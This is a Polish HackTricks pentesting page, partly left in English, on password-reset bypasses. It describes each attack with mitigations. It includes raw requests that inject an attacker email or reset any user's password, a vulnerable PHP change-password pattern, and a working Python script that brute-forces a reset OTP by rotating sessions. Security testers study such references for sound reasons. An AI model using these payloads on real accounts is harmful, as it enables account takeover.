Ominięcie resetu / zapomnianego hasła
Reading time: 10 minutes
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Password Reset Token Leak Via Referrer
- The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
- Wpływ: Potencjalne przejęcie konta poprzez Cross-Site Request Forgery (CSRF) attacks.
- Wykorzystanie: Aby sprawdzić, czy password reset token jest leak w referer header, zażądaj resetu hasła na swój adres e-mail i kliknij dostarczony reset link. Nie zmieniaj natychmiast hasła. Zamiast tego przejdź na stronę osoby trzeciej (np. Facebook lub Twitter), jednocześnie przechwytując żądania za pomocą Burp Suite. Przeanalizuj żądania, żeby sprawdzić, czy referer header zawiera password reset token, ponieważ może to ujawnić wrażliwe informacje podmiotom trzecim.
- References:
- HackerOne Report 342693
- HackerOne Report 272379
- Password Reset Token Leak Article
Password Reset Poisoning
- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
- Wpływ: Prowadzi do potencjalnego przejęcia konta przez leaking reset tokens do atakujących.
- Kroki łagodzące:
- Validate the Host header against a whitelist of allowed domains.
- Use secure, server-side methods to generate absolute URLs.
- Patch: Use
$_SERVER['SERVER_NAME']to construct password reset URLs instead of$_SERVER['HTTP_HOST']. - References:
- Acunetix Article on Password Reset Poisoning
Password Reset By Manipulating Email Parameter
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
- Dodaj e-mail atakującego jako drugi parametr używając &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- Dodaj attacker email jako drugi parametr używając %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- Dodaj adres e-mail atakującego jako drugi parametr używając |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
Dodaj adres e-mail atakującego jako drugi parametr, używając cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- Dodaj attacker email jako drugi parametr, używając bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- Dodaj adres e-mail atakującego jako drugi parametr używając ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- Dodaj attacker email jako drugi parametr w json array
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
- Kroki łagodzące:
- Poprawnie parsuj i waliduj parametry email po stronie serwera.
- Użyj prepared statements lub parameterized queries, aby zapobiec injection attacks.
- Źródła:
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
Zmiana email i password dowolnego użytkownika poprzez parametry API
- Atakujący mogą modyfikować parametry email i password w żądaniach API, aby zmienić dane uwierzytelniające konta.
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
- Kroki łagodzące:
- Zapewnij rygorystyczną walidację parametrów i kontrole uwierzytelniania.
- Wdróż solidne logowanie i monitoring, aby wykrywać i reagować na podejrzane działania.
- Źródło:
- Full Account Takeover via API Parameter Manipulation
Brak rate limiting: Email Bombing
- Brak ograniczeń (rate limiting) dla żądań resetu hasła może prowadzić do Email Bombing, przytłaczając użytkownika wiadomościami resetującymi.
- Kroki łagodzące:
- Wdróż rate limiting bazujący na adresie IP lub koncie użytkownika.
- Użyj wyzwań CAPTCHA, aby zapobiec automatycznemu nadużyciu.
- Źródła:
- HackerOne Report 280534
Dowiedz się, jak generowany jest token resetu hasła
- Zrozumienie wzorca lub metody generowania tokena może pozwolić na jego przewidzenie lub brute-force. Niektóre opcje:
- Based Timestamp
- Based on the UserID
- Based on email of User
- Based on Firstname and Lastname
- Based on Date of Birth
- Based on Cryptography
- Kroki łagodzące:
- Używaj silnych, kryptograficznych metod generowania tokenów.
- Zadbaj o wystarczającą losowość i długość, aby zapobiec przewidywalności.
- Narzędzia: Użyj Burp Sequencer do analizy losowości tokenów.
Przewidywalne UUID
- Jeśli UUIDy (version 1) są przewidywalne, atakujący mogą je brute-force'ować, aby wygenerować prawidłowe tokeny resetu. Sprawdź:
- Kroki łagodzące:
- Użyj GUID version 4 dla losowości lub wdroż dodatkowe środki bezpieczeństwa dla innych wersji.
- Narzędzia: Use guidtool for analyzing and generating GUIDs.
Manipulacja odpowiedzią: Zamiana złej odpowiedzi na dobrą
- Manipulowanie odpowiedziami HTTP, aby ominąć komunikaty o błędach lub ograniczenia.
- Kroki łagodzące:
- Wdróż kontrole po stronie serwera, aby zapewnić integralność odpowiedzi.
- Użyj bezpiecznych kanałów komunikacji, takich jak HTTPS, aby zapobiec atakom typu man-in-the-middle.
- Źródło:
- Critical Bug in Live Bug Bounty Event
Użycie wygasłego tokena
- Testowanie, czy wygasłe tokeny można nadal wykorzystać do resetu hasła.
- Kroki łagodzące:
- Wdróż rygorystyczne polityki wygaśnięcia tokenów i waliduj wygaśnięcie po stronie serwera.
Brute Force tokenu resetu hasła
- Próba brute-force tokena resetu przy użyciu narzędzi takich jak Burpsuite i IP-Rotator, by ominąć ograniczenia rate limiting oparte na IP.
- Kroki łagodzące:
- Wdróż solidne ograniczenia rate limiting i mechanizmy blokady konta.
- Monitoruj podejrzane aktywności wskazujące na ataki brute-force.
Spróbuj użyć swojego tokena
- Testowanie, czy token resetu atakującego może zostać użyty razem z adresem e-mail ofiary.
- Kroki łagodzące:
- Upewnij się, że tokeny są powiązane z sesją użytkownika lub innymi atrybutami specyficznymi dla użytkownika.
Unieważnianie sesji przy wylogowaniu/resecie hasła
- Zapewnienie, że sesje są unieważniane, gdy użytkownik się wylogowuje lub resetuje hasło.
- Kroki łagodzące:
- Wdróż właściwe zarządzanie sesjami, zapewniając unieważnienie wszystkich sesji przy wylogowaniu lub resecie hasła.
Unieważnianie sesji przy wylogowaniu/resecie hasła
- Tokeny resetujące powinny mieć czas wygaśnięcia, po którym stają się nieważne.
- Kroki łagodzące:
- Ustaw rozsądny czas wygaśnięcia tokenów resetujących i egzekwuj go rygorystycznie po stronie serwera.
Omijanie limitu OTP przez zmianę sesji
- Jeśli strona używa sesji użytkownika do śledzenia błędnych prób OTP i OTP był słaby (<= 4 cyfry), możemy skutecznie bruteforce'ować OTP.
- eksploatacja:
- po prostu zażądaj nowego tokena sesji po zablokowaniu przez serwer.
- Przykład code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # follow number of rails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)
cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)
reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")
Arbitrary password reset via skipOldPwdCheck (pre-auth)
Niektóre implementacje udostępniają akcję zmiany hasła, która wywołuje procedurę zmiany hasła z skipOldPwdCheck=true i nie weryfikuje żadnego tokena resetu ani własności. Jeśli endpoint akceptuje parametr action taki jak change_password oraz username/new password w ciele żądania, atakujący może zresetować dowolne konto przed uwierzytelnieniem.
Wzorzec podatny (PHP):
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);
// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}
public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
Wniosek o eksploatację (koncepcja):
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
Mitigacje:
- Zawsze wymagaj ważnego, ograniczonego czasowo reset tokenu powiązanego z kontem i sesją przed zmianą hasła.
- Nigdy nie wystawiaj ścieżek skipOldPwdCheck dla nieuwierzytelnionych użytkowników; wymuszaj uwierzytelnienie przy zwykłych zmianach hasła i weryfikuj stare hasło.
- Unieważnij wszystkie aktywne sesje i reset tokens po zmianie hasła.
Rejestracja jako reset hasła (Upsert on Existing Email)
Niektóre aplikacje implementują handler rejestracji jako upsert. Jeśli adres e-mail już istnieje, handler cicho aktualizuje rekord użytkownika zamiast odrzucać żądanie. Gdy endpoint rejestracji akceptuje minimalne body JSON z istniejącym adresem e-mail i nowym hasłem, w praktyce staje się to pre-auth password reset bez żadnej weryfikacji własności, umożliwiając pełne account takeover.
Pre-auth ATO PoC (overwriting an existing user's password):
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Źródła
- https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks